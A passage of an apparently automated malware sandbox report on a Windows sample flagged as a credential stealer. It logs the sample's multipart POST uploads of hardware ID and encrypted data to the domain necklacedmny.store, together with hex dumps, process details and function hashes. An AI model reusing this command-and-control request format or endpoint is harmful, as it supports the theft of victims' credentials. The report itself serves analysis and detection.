name="hwid"EB8CC8E68129578DD66D9B1424C03677--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 03:01:14 UTC	1018	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:01:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0i5pvktq3kgrvq2ctktbdl2e12; expires=Fri, 21 Feb 2025 20:47:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sJ30xFCHuseffwUDCECAk4oHgEQ6dpVA7CcVgCVhryJ71xbyTiedibaNK7OK7atsnBkPo4xnwa9wo6TTc1Ata%2BuvIy601lvV31QsHzO3Ttd38Q5HR4O%2BLFmm%2B0g145FQy%2BBJkGM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9feb7bfe7e4794-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1318&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16024&delivery_rate=2255451&cwnd=234&unsent_bytes=0&cid=012b38b857747615&ts=548&x=0"
2024-10-29 03:01:14 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 03:01:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	188.114.97.3	443	3056	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:01:15 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-29 03:01:15 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 38 43 43 38 45 36 38 31 32 39 35 37 38 44 44 36 36 44 39 42 31 34 32 34 43 30 33 36 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"EB8CC8E68129578DD66D9B1424C03677--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 03:01:15 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-29 03:01:16 UTC	1019	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:01:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fubov3o7gs2j7jidrq8uo4l9sq; expires=Fri, 21 Feb 2025 20:47:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=29S6VPGamWBiYMXdxl%2FPw82oyQFudNIB9ih1HBiuPbo%2BYymEV985DVM7ivCbVjSmmZSi4qPusp%2FI9ie6xXybh%2FlDOKJaVMzjCNetXfMomaXBK4jki6U5L9xFyUUHMq1SNja3VfE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9feb8449e82d3f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1643&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21536&delivery_rate=1785450&cwnd=251&unsent_bytes=0&cid=8ac63c8b813f1cbb&ts=692&x=0"
2024-10-29 03:01:16 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 03:01:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	188.114.97.3	443	3056	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:01:17 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1249 Host: necklacedmny.store
2024-10-29 03:01:17 UTC	1249	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 38 43 43 38 45 36 38 31 32 39 35 37 38 44 44 36 36 44 39 42 31 34 32 34 43 30 33 36 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"EB8CC8E68129578DD66D9B1424C03677--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 03:01:17 UTC	1016	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:01:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0g7h05kc41gqq2tn6edi1odc6m; expires=Fri, 21 Feb 2025 20:47:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=34kXqPmoNAXqqex5jka%2B9r%2F43q3EkqVgYsg3rMQ9RVCh69T8%2FNFMgoP6zPQaeVXsqn86PvJdCvsvYuFZztbzGRXcRV4tcNm3My5fhOVv18%2By4FLIl8OGN3qJkTHnIDOonmBWnYg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9feb8fcec86c68-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1206&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2168&delivery_rate=2395368&cwnd=251&unsent_bytes=0&cid=4c021f7d2aaa3e61&ts=640&x=0"
2024-10-29 03:01:17 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 03:01:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	188.114.97.3	443	3056	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:01:19 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569027 Host: necklacedmny.store
2024-10-29 03:01:19 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 38 43 43 38 45 36 38 31 32 39 35 37 38 44 44 36 36 44 39 42 31 34 32 34 43 30 33 36 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"EB8CC8E68129578DD66D9B1424C03677--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 03:01:19 UTC	15331	OUT	Data Raw: cb 37 c4 c5 91 4b 85 9c ba c2 10 a9 b9 60 76 06 d2 7e 80 d7 ca ed b5 c6 ad 4b 71 5f f8 ce 04 98 3f 52 4c 94 dd fa 29 4b 7e ea 2b 7b 6d c7 e3 c2 2d ad be b0 57 fe 02 bf 75 25 93 7a be 09 a3 0c cd 47 6b 08 8b a5 52 e3 b2 12 25 e9 56 ae d0 c5 34 c9 84 b5 ec 85 f1 79 21 0d a7 96 a5 8e 5a 91 1c e5 29 7d 21 ca fd 7a 58 42 52 72 3b 53 39 06 16 4a f6 65 1a de 38 21 0d 26 e4 60 fd 70 7a a6 e0 5a 19 1f ec b3 55 e9 e5 e0 c7 6b 1d 54 04 df b0 6b 1a f6 f0 37 3e ae 1c 32 d6 8e 0a ae 05 90 d0 5d ba f0 d6 aa 89 24 7a 0e bb f6 3d 6f dd ad 45 89 b5 9b 1f ac 5e 58 d3 e8 85 68 79 b2 37 60 db ea a2 62 be 03 c1 8d 02 e3 27 17 0e bc eb d2 04 15 63 a9 0f 5f 7f 59 3f e6 f4 c0 9e eb 67 f3 da 3f 1b 62 cf f5 5c 98 7d f6 fe 02 92 40 c7 ff ac 81 bc 6f ba 0d ec 1a af aa aa 41 31 1d 9b Data Ascii: 7K`v~Kq_?RL)K~+{m-Wu%zGkR%V4y!Z)}!zXBRr;S9Je8!&`pzZUkTk7>2]$z=oE^Xhy7`b'c_Y?g?b\}@oA1
2024-10-29 03:01:19 UTC	15331	OUT	Data Raw: d2 70 60 1e 6e 1d 1d d5 74 56 e8 2e b5 20 bb 42 0a ec df 4f 51 14 a3 ac f1 81 23 7b d5 eb 83 f3 6f 29 77 89 0a ed c2 3c bf 9f 34 cf d2 1c 3e 2e 6d ee 9f 56 b2 f5 fb bf 42 6e e7 62 8c 72 6a e8 d0 cf f7 91 9c c2 a7 93 55 ef df 4a 05 08 79 72 d2 ab 6f d1 8d 2a 52 39 de 7d 61 b7 1f cd c9 0d 5c c9 a8 8e 19 9f b6 fb 22 c2 f1 4a 08 26 76 d1 c7 0e 85 24 a4 85 2b bb a2 c5 86 34 86 9a 7b f2 ca b0 12 e4 8d b5 5c 66 85 ad 5d be a7 d8 2f 15 6a 55 33 25 0d ad 03 eb fe 7b 7d 0f 26 4a 3f 49 c3 a1 6c dd 47 98 a6 a2 95 93 6f 25 17 c5 cf ef d2 5a 93 bc 94 48 3e 35 9c 37 5f 13 ca ad 50 e1 d0 0a 62 22 8c 52 dc 97 1f 59 50 4b b1 93 d2 f5 1e c6 a6 71 7b 1f 26 b4 87 ba 29 37 c5 92 90 0a 93 df 4c 02 3c 9c a4 0c 2f 5f d1 9b fe 25 31 f9 51 7b 93 5c 39 f9 f2 c9 37 b9 1b 15 1a 9b 8f Data Ascii: p`ntV. BOQ#{o)w<4>.mVBnbrjUJyro*R9}a\"J&v$+4{\f]/jU3%{}&J?IlGo%ZH>57_Pb"RYPKq{&)7L</_%1Q{\97
2024-10-29 03:01:19 UTC	15331	OUT	Data Raw: 0e 9b 2b 03 17 77 96 0e dd 22 d1 8d d3 26 73 16 f9 81 23 aa 16 44 d6 1f ef cf 56 07 0c bf 1c 7a ff 20 f3 76 81 69 41 9e 6d 72 9b 18 56 05 04 47 5c bb 6c 66 5e 38 57 94 ef b5 45 9f c5 68 c5 6b 86 37 c5 5a 43 70 d7 42 1e 73 77 70 46 8a dd 80 2a ab d3 52 42 18 f3 1b 8b 7f 98 89 22 73 4d c5 05 d5 87 55 af 7e 4b a4 ca 83 fd 18 27 28 a3 0a 52 d3 c2 cc df 36 f7 5f 7b d5 8d 28 dc b4 b8 0f 61 cf 0d 04 d8 53 3e a4 de 6c 3b b2 74 8c c8 f5 bb 6d c6 a8 2f 10 f3 94 c6 c2 9f 48 f7 cf cf 8a c3 c2 12 fc d6 b8 2e 6e 1c c8 a3 55 f5 8b 39 33 fd 43 64 a4 c0 64 e8 26 97 ab 62 fb eb ff 19 1e 7a 0b d3 66 ba 18 bd 01 4c 51 c2 37 74 c5 9f fe 6f 71 fb f6 9f 80 be e7 7e 4b 6e 49 f5 9e a9 4d e6 b9 2d ed 6f ef 12 de ae d2 0e 06 e7 44 e2 b9 eb a6 99 47 c4 f6 70 dd d4 f9 95 bd 5f c1 3d Data Ascii: +w"&s#DVz viAmrVG\lf^8WEhk7ZCpBswpF*RB"sMU~K'(R6_{(aS>l;tm/H.nU93Cdd&bzfLQ7toq~KnIM-oDGp_=
2024-10-29 03:01:19 UTC	15331	OUT	Data Raw: 82 49 10 69 54 18 e5 d6 0b 8e b9 46 7b 16 da ae 60 67 e2 81 bb 1b 84 cf 74 1d ce df f7 78 a3 e1 8c d6 92 fa 5c 49 b1 07 bf c0 9f 77 a4 4f 7e 47 1b a3 75 fd e7 1a ec 83 1e 49 25 09 8b fc de 9a a8 37 c1 f9 70 88 dc 74 63 cd 5c 4d d5 93 af 3b 68 ab e3 e5 1a bd b1 1d ae 78 fa e1 77 8a 25 7d dc b3 40 bc 75 ed ac a0 4d 9f 8a 5a 56 c6 f0 26 10 55 d1 b1 d2 ef 70 04 2f 6c d2 d9 27 0c 37 0f 8a 07 09 5c da ef 74 5e 98 bc e4 ca 3a bc 73 9d 08 fe 2a 78 a8 76 c3 41 23 19 41 02 bb 88 5f 4d 71 c4 cc aa b5 52 62 9c 6f 5d a0 e8 c4 29 ba 65 2b e6 f9 b1 b6 6f 12 d2 4c eb 0e d5 f8 d1 2d 4d 4f 0d 39 d4 64 2f 6d a2 2a b6 05 c7 64 75 3f 72 94 eb 57 97 15 d9 61 d3 4c cc 54 4e a5 b5 be 79 d8 14 61 d4 6d ef 09 4e 83 dc dd 75 0e ba 89 fd b6 59 0a bd 51 81 9c 3f 0d 62 26 52 0e ce e1 Data Ascii: IiTF{`gtx\IwO~GuI%7ptc\M;hxw%}@uMZV&Up/l'7\t^:sxvA#A_MqRbo])e+oL-MO9d/mdu?rWaLTNyamNuYQ?b&R
2024-10-29 03:01:19 UTC	15331	OUT	Data Raw: 23 60 a9 49 2b 4b 0f 33 80 c3 5f 6c b5 7b b5 b7 ff 88 79 e1 0d 68 c8 c1 50 d5 c6 e5 0b 81 0f 22 a8 2a 06 d3 83 9f cf 4d 34 d6 9d bd ec 00 48 0e c1 11 a1 eb 47 c6 b3 e8 09 0d e4 29 c1 56 fc 3b 09 1a 52 d3 7d b9 f3 4f 13 1b cd 3e 31 e4 c8 c3 93 b6 63 8a fd 1d 4f 43 8f 5e 33 bb c2 dd 31 ad cc 08 2f 7e f7 24 9e 82 8d c0 c4 ac 9b 38 2b b9 d4 45 84 74 ef b9 57 24 b8 ed ae 7b 02 7c ec b0 91 5e 81 e6 08 66 24 c0 77 fa 0c 3e a6 dd a9 62 c3 47 90 d4 17 9e ac 8d 3c 5b 25 29 b7 31 ee 5e 9d 3c 0d 33 a3 e1 31 00 6e 8e 2a 66 28 a6 0d 12 92 39 f7 a3 8b fe 37 3d d4 0c 84 ac 77 c8 d2 96 9f 20 89 8c bf 8c 5b aa 16 13 a9 0f d3 44 3d cf ad be 72 b3 44 1c 38 70 e4 07 a5 72 e8 07 45 04 b0 96 a5 c0 bf fc ac 8e 7f f8 fd f7 01 4a 5b ef 79 e0 46 4f 0b a7 09 30 3e a4 15 22 ca fe 39 Data Ascii: #`I+K3_l{yhP"M4HG)V;R}O>1cOC^31/~$8+EtW${\|^f$w>bG<[%)1^<31nf(97=w [D=rD8prEJ[yFO0>"9
2024-10-29 03:01:19 UTC	15331	OUT	Data Raw: b5 d1 66 e6 3f c9 4f 93 4e 77 06 19 3b aa 56 6a b4 4f 6d 2c 2c 4e 6c 7a 4f 70 16 39 3f 96 df ab 9e 8d 3a 77 fc 40 14 4d 49 bc da 8c 42 4f 34 b4 71 c5 88 b0 ff 1e c0 68 73 64 ef 62 dd 8d 3a 67 9f e8 73 d5 f4 7c 8e 0f 34 be f5 f3 b2 96 8d 30 3f 5a 2d a3 c2 03 e4 36 d9 c3 c7 ca a2 37 ac 07 15 cf 07 46 f8 0b ce 7e 91 c1 f2 df 3b 85 ed dc b7 97 91 a8 da 84 32 1d c3 dc 1b f8 22 3e 10 ce 57 98 1a 72 ae 6a 6e 16 cb b9 52 ab 39 06 2e a4 2d 72 8a d9 e8 31 5e a1 99 7b 14 5f 7c 8d 80 95 25 69 90 34 86 45 11 77 26 7a 79 8e ca b9 12 4e 1f 3b 37 48 51 54 22 51 14 33 14 db 93 6b 35 3f 6f 13 9c 3e 4b b3 b5 89 71 dd a5 32 6e f3 ed ab 9b d6 4f 53 3d 21 e2 94 da 4a 21 25 b1 91 bd b3 ca 45 36 74 cd e4 30 c5 47 90 54 ad 00 51 dd 66 91 32 6c 72 2e 8b d1 b9 4b 18 1b cf 75 4c 2d Data Ascii: f?ONw;VjOm,,NlzOp9?:w@MIBO4qhsdb:gs\|40?Z-67F~;2">WrjnR9.-r1^{_\|%i4Ew&zyN;7HQT"Q3k5?o>Kq2nOS=!J!%E6t0GTQf2lr.KuL-
2024-10-29 03:01:19 UTC	15331	OUT	Data Raw: 31 58 64 fe 36 ab a7 ae e6 9f f1 5c 3e c4 9d c0 c4 35 64 13 06 c8 b3 9f de e7 39 79 55 a8 04 15 ce 9d 37 61 25 78 5e f8 f7 04 08 7d 76 76 7c 92 87 0e 7e 84 16 2c 69 21 ea 89 51 ff 3e 83 d2 c1 8e c7 9d 6a 2d 11 80 67 0f 46 e9 a5 14 aa 3f dd 6e 63 9f ed 1e e3 dd 47 ab d8 14 a8 39 95 88 11 7b 34 f2 fd f6 9a 9d b8 8d 2c 27 e9 13 c0 8f 94 d0 7f 0e 8a f7 21 32 d3 e2 15 fe b9 9f f4 f7 f7 44 e7 c0 13 e0 73 f6 73 ed 23 f3 b6 36 fa 9c c9 ba 79 9d e3 7b e8 3c a0 62 ab 1a fe f6 61 28 ef f1 09 27 29 1d ad bf 56 88 0d df 53 98 4c be 55 4f b6 fd 17 ca 79 d6 0e 37 65 21 eb 8a 42 5e 64 88 c6 bd fb 7d 4b 7f e9 ad 80 77 e9 e9 aa 81 09 9a 1e dd 09 b6 02 9f 73 fc d8 31 68 71 2c 0a 35 4f dd b1 d9 1a 8b b9 92 86 b9 de cc 70 08 75 16 bc 79 60 cb 65 64 ec 58 22 97 85 38 cf 1f b7 Data Ascii: 1Xd6\>5d9yU7a%x^}vv\|~,i!Q>j-gF?ncG9{4,'!2Dss#6y{<ba(')VSLUOy7e!B^d}Kws1hq,5Opuy`edX"8
2024-10-29 03:01:19 UTC	15331	OUT	Data Raw: 20 81 30 d8 94 6d 14 6a 9c cc c9 d8 55 77 b3 2c 24 aa 41 99 aa 2e a8 ee bb f2 01 69 65 47 be 82 7d 93 a7 f6 4e 78 d0 5a d1 56 91 d5 cc bb db a9 ba 78 6b 32 df a1 d1 4f 2e 54 97 6a 58 be 89 a5 fb f1 97 c2 36 74 34 4d 46 45 2c fa bc f3 cb 8d 8c 02 e4 0c 5f 61 01 4a 1c 13 1b a1 80 e0 74 ce 64 c0 d4 09 ef cd 19 7d f8 9b 36 e1 b4 b4 1e f6 c2 1c 58 64 c8 d2 64 e0 54 34 02 2f 81 3c 28 8c 62 38 37 24 c4 c7 b9 a1 28 e1 41 49 bc 99 e7 89 bc eb da 23 82 05 1c fc 35 53 65 be 5a dd 49 ce cd 53 72 57 3e 60 52 af f1 80 b1 ab 2e 1c 21 84 89 d3 3d 38 d8 ef b0 a6 35 a5 e7 64 9d 56 77 43 55 6b 52 8d da 98 92 7c 4b 95 e9 3f 04 92 9a 7c 66 10 85 3d c5 45 36 03 c1 77 4f f6 be 88 e8 e5 72 f2 11 57 ba 71 46 13 e5 75 ef 7f 6b c0 ff 6c 76 cb 3f 80 17 6f 96 94 66 ed aa 4a 19 d0 36 Data Ascii: 0mjUw,$A.ieG}NxZVxk2O.TjX6t4MFE,_aJtd}6XddT4/<(b87$(AI#5SeZISrW>`R.!=85dVwCUkR\|K?\|f=E6wOrWqFuklv?ofJ6
2024-10-29 03:01:19 UTC	15331	OUT	Data Raw: 94 79 cf 70 f7 e6 a5 36 82 ca 16 45 9b 0e 47 51 a2 7c 4a 80 8f bf be 34 c1 d4 a0 81 6c 7e 2e 50 db c4 48 4a 88 b7 fb 11 f1 12 78 44 92 94 f9 a5 88 14 c7 41 ac 98 d4 24 d4 0f 67 ed bd 71 ad f8 94 36 a8 f3 0a c5 7b e3 83 3b aa b7 8d fb ed 2f 41 4a dc 42 15 09 69 a2 8d 01 bf cf 10 4e 40 48 70 4c 3e 7b 59 90 06 cf 91 93 0f 35 88 87 72 6a ec c3 43 fa dc a9 5c f3 e9 73 96 4f 09 c2 e0 be a5 dc 1e e5 03 70 06 16 bd 73 87 2f 71 d1 28 59 5c ac fb 06 db 51 7c fa c8 53 60 8a f2 9b dd 2e b8 8e d2 36 d1 3b 99 b2 77 8d 8d dd cb 8d b8 22 fa a6 00 88 f0 3c 7a 19 86 60 93 de c2 a6 07 70 6f 7f 2e 5d 32 e0 2e 21 1e 5d cd 3a 67 54 47 38 12 c3 93 55 d1 6e 16 32 83 68 10 f2 30 32 31 7e 2d d8 91 7c e8 3b 55 62 e2 40 c3 af 62 e2 b5 2c 0d ab d1 b4 bb 72 ef b1 8c e3 3f 5b b0 79 55 Data Ascii: yp6EGQ\|J4l~.PHJxDA$gq6{;/AJBiN@HpL>{Y5rjC\sOps/q(Y\Q\|S`.6;w"<z`po.]2.!]:gTG8Un2h021~-\|;Ub@b,r?[yU
2024-10-29 03:01:20 UTC	1021	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:01:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=30f4qm6l5k6tgjhqtqm26s7brq; expires=Fri, 21 Feb 2025 20:47:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YlY2vd4bLvsQGTKAInUq54QBpRTy1S0fPRRqE9vJM%2FOHEeDCZfGF%2BHeilb9WXqhOnU5YgF0EAodoW51GxU51u8WcjfFHMVW%2BZssOiMt9qSp5VvZ3NtAsmibW1BGvRKu8GHc4umg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9feb9ad8b93ac7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1183&sent=207&recv=606&lost=0&retrans=0&sent_bytes=2844&recv_bytes=571576&delivery_rate=2391412&cwnd=250&unsent_bytes=0&cid=5ec2bc17da84e90b&ts=1849&x=0"

Target ID:	0
Start time:	23:01:06
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xac0000
File size:	2'918'912 bytes
MD5 hash:	1E2713791F4B57EE161EF33685C0F1ED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2186505484.0000000001396000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Function 013AEB04 Relevance: 2.1, Instructions: 2071COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2182709196.00000000013AE000.00000004.00000020.00020000.00000000.sdmp, Offset: 013AE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_13ae000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dff20bc9a430e3f1ca0f791411008b488a37f3934529103a80f9254ad0be52ce
Instruction ID: 8b04efa3920236c14746af0aba8fc8836e75d88bc0f0267a437e8d82afeddc70
Opcode Fuzzy Hash: dff20bc9a430e3f1ca0f791411008b488a37f3934529103a80f9254ad0be52ce
Instruction Fuzzy Hash: 3DE2CB696D96C9AEDB23177C48383E53F6B8D0B66C3EE19DEC4D08913AD5031887C74A

Function 013AF000 Relevance: 1.5, Instructions: 1493COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2186408136.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, Offset: 013AF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_13ae000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb8694820d99900af01d19919244e874ce013a5cdabb0da58efd72e0ac23d2cc
Instruction ID: 2cdc339239d5e4275cea56810f6b00da15845d3ea41bab0d0a362b05f6aed5da
Opcode Fuzzy Hash: bb8694820d99900af01d19919244e874ce013a5cdabb0da58efd72e0ac23d2cc
Instruction Fuzzy Hash: B0B2AD691DA6C9AEDB23177C48393E57F2B8D0B62C3EE19CED1D08913AC5131887D74A

Function 05C4B80D Relevance: 1.1, Instructions: 1135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2211062295.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, Offset: 05C49000, based on PE: false

Joe Sandbox IDA Plugin

